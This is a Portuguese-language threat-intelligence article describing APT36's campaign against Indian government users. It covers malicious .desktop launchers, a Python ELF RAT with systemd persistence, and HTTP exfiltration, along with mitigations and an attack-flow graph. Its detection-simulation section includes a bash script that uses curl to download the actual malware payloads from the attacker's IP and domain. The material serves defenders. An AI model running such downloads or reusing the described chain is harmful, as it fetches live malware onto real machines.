SOC Prime Bias: Crítico

04 Dez 2025 18:28

APT36 Implanta Malware Python ELF Contra Entidades Governamentais Indianas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
APT36 Implanta Malware Python ELF Contra Entidades Governamentais Indianas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que lançou arquivos de atalho maliciosos do Linux .desktop em usuários do governo indiano. Esses lançadores recuperam e executam um ELF RAT baseado em Python chamado swcbc de um servidor controlado por atacantes. O malware mantém a persistência através de um serviço systemd em nível de usuário e se comunica com seu C2 via HTTP para exfiltrar dados e executar comandos. A campanha ressalta a crescente capacidade do grupo de operar efetivamente em ambientes Linux.

Investigação

A investigação seguiu a cadeia desde o anexo inicial .zip até o lançador .desktop, o PDF de isca e as duas cargas (swcbc ELF binário e script swcbc.sh) baixadas de um endereço IP controlado pelo ator. A análise mostrou que o binário ELF é um RAT Python empacotado com PyInstaller com capacidades para perfilamento do sistema, upload/download de arquivos, captura de tela e auto-remoção. A persistência é implementada registrando um serviço systemd dentro do diretório de configuração do usuário.

Mitigação

As defesas recomendadas incluem bloquear a execução de arquivos .desktop, .sh e ELF recebidos via e-mail e aplicar execução em sandbox para anexos suspeitos. Desativar a execução automática de caminhos graváveis por todos como /tmp e aplicar opções noexec de montagem quando possível. Monitorar tráfego DNS e HTTP para conexões ao domínio e IP maliciosos identificados. Impor controle estrito de aplicativos em ferramentas como curl e LibreOffice.

Resposta

Quando a atividade é detectada, isole o host Linux impactado, colete os artefatos maliciosos e a unidade de serviço systemd, e remova o diretório oculto ~/.swcbc. Use ferramentas forenses para extrair o identificador exclusivo do host e termine quaisquer sessões C2 em andamento. Atualize o conteúdo de detecção com os IOCs observados e busque proativamente por padrões semelhantes em todo o ambiente mais amplo.

graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[“<b>Ação</b> – <b>T1566 Phishing</b>: Anexo de Spearphishing<br /><b>Descrição</b>: O adversário envia por e‑mail um atalho .desktop malicioso ao alvo.”] class initial_access_phishing action user_execution_file[“<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b>: Arquivo Malicioso<br /><b>Descrição</b>: A vítima abre o arquivo .desktop, fazendo com que o script incorporado seja executado.”] class user_execution_file action obfuscation[“<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b>: Codificação de Dados<br /><b>Descrição</b>: O script é armazenado como uma string codificada em Base64 e o payload ELF é empacotado com PyInstaller.”] class obfuscation action masquerading[“<b>Ação</b> – <b>T1036 Disfarce</b><br /><b>Descrição</b>: O atalho .desktop imita um documento legítimo de escritório e abre um PDF de engodo.”] class masquerading action ingress_tool_transfer[“<b>Ação</b> – <b>T1105 Transferência de Ferramentas de Entrada</b><br /><b>Descrição</b>: O script baixa um binário ELF e um script de shell de um servidor HTTP remoto.”] class ingress_tool_transfer action execution_unix_shell[“<b>Ação</b> – <b>T1059 Interpretador de Comandos e Scripts</b>: Shell Unix<br /><b>Descrição</b>: O downloader concede permissão de execução e executa os payloads em segundo plano.”] class execution_unix_shell action persistence_systemd[“<b>Ação</b> – <b>T1543 Criar ou Modificar Processo do Sistema</b><br /><b>Descrição</b>: Um serviço systemd malicioso em nível de usuário é criado e habilitado para iniciar no login.”] class persistence_systemd action persistence_boot_script[“<b>Ação</b> – <b>T1037.004 Scripts de Inicialização ou Logon</b><br /><b>Descrição</b>: O serviço systemd em nível de usuário atua como script de inicialização ou logon para persistência.”] class persistence_boot_script action discovery_system_info[“<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b><br /><b>Descrição</b>: O RAT ELF coleta versão do SO, hostname, nome de usuário e endereço MAC.”] class discovery_system_info action discovery_file_dir[“<b>Ação</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b><br /><b>Descrição</b>: O malware enumera o sistema de arquivos para localizar arquivos para exfiltração.”] class discovery_file_dir action command_control_app_layer[“<b>Ação</b> – <b>T1071 Protocolo da Camada de Aplicação</b><br /><b>Descrição</b>: O implante se comunica com o servidor C2 usando HTTP GET/POST.”] class command_control_app_layer action data_encoding[“<b>Ação</b> – <b>T1132 Codificação de Dados</b><br /><b>Descrição</b>: Os payloads de C2 são codificados em Base64 para obscurecer o conteúdo.”] class data_encoding action collection_local_data[“<b>Ação</b> – <b>T1005 Dados do Sistema Local</b><br /><b>Descrição</b>: O RAT arquiva arquivos selecionados em arquivos ZIP para envio.”] class collection_local_data action exfiltration_http[“<b>Ação</b> – <b>T1005 Dados do Sistema Local (Exfiltração)</b><br /><b>Descrição</b>: Os arquivos são enviados ao atacante via requisições HTTP POST.”] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[“<b>Artefato</b> – <b>Atalho .desktop</b><br /><b>Arquivo</b>: Analysis_Proc_Report_Gem.desktop<br /><b>Finalidade</b>: Dispara a execução do script Base64.”] class file_desktop artifact script_base64[“<b>Malware</b> – <b>Script Base64</b><br /><b>Conteúdo</b>: Decodifica e executa a lógica do downloader.”] class script_base64 malware elf_payload[“<b>Malware</b> – <b>Binário ELF (swcbc)</b><br /><b>Tipo</b>: RAT empacotado entregue via PyInstaller.”] class elf_payload malware shell_script_payload[“<b>Malware</b> – <b>Script de Shell (swcbc.sh)</b><br /><b>Finalidade</b>: Script auxiliar para configurar persistência.”] class shell_script_payload malware systemd_service[“<b>Artefato</b> – <b>Arquivo de Serviço Systemd</b><br /><b>Localização</b>: ~/.config/systemd/user/swcbc.service<br /><b>Efeito</b>: Executa o payload ELF no login do usuário.”] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing –>|delivers| file_desktop file_desktop –>|invokes| script_base64 script_base64 –>|obfuscates| obfuscation script_base64 –>|masquerades as| masquerading script_base64 –>|downloads| elf_payload script_base64 –>|downloads| shell_script_payload ingress_tool_transfer –>|facilitates download of| elf_payload ingress_tool_transfer –>|facilitates download of| shell_script_payload script_base64 –>|executes via| execution_unix_shell elf_payload –>|runs as| process_elf[(“Processo ELF”)] class process_elf process process_elf –>|establishes| command_control_app_layer process_elf –>|collects system info via| discovery_system_info process_elf –>|enumerates files via| discovery_file_dir process_elf –>|archives files via| collection_local_data collection_local_data –>|encodes data via| data_encoding collection_local_data –>|exfiltrates via| exfiltration_http exfiltration_http –>|uses| command_control_app_layer shell_script_payload –>|creates| systemd_service systemd_service –>|enables| persistence_systemd persistence_systemd –>|provides| persistence_boot_script persistence_boot_script –>|ensures execution at login| execution_unix_shell

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa do Ataque & Comandos:
    Um operador do APT-36 hospeda três cargas em infraestrutura comprometida e distribui seus URLs via um email de phishing. A vítima, usando um navegador configurado para rotear o tráfego através de um proxy corporativo, clica em cada link. O proxy registra cada solicitação GET, produzindo entradas que correspondem à regra url|all lista. As cargas são:

    1. Um binário ELF bruto (swcbc) entregue via HTTP.
    2. Um script shell (swcbc.sh) que, quando executado, instala o ELF.
    3. Um PDF de isca (Analysis_Proc_Report_Gem.pdf) destinado a encorajar o usuário a abrir o arquivo enquanto o ELF malicioso é executado em segundo plano.
  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    # Simulação de download de URL malicioso do APT-36 – aciona a regra Sigma.
    set -euo pipefail
    
    # Definir os URLs maliciosos (strings exatas da regra Sigma)
    urls=(
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc"
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh"
        "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf"
    )
    
    # Baixar cada carga através do proxy corporativo.
    # Assumir que a variável de ambiente http_proxy/https_proxy aponta para o proxy.
    for u in "${urls[@]}"; do
        echo "[*] Baixando $u via proxy..."
        curl -s -O "$u"
    done
    
    echo "[+] Todos os arquivos maliciosos baixados. Verifique os logs do proxy para URLs correspondentes."

    Salve o script como apt36_simulation.sh, torne-o executável (chmod +x apt36_simulation.sh), e execute-o na estação de trabalho protegida.

  • Comandos de Limpeza:

    #!/usr/bin/env bash
    # Remover todos os arquivos criados pela simulação
    rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf
    echo "[+] Limpeza completa."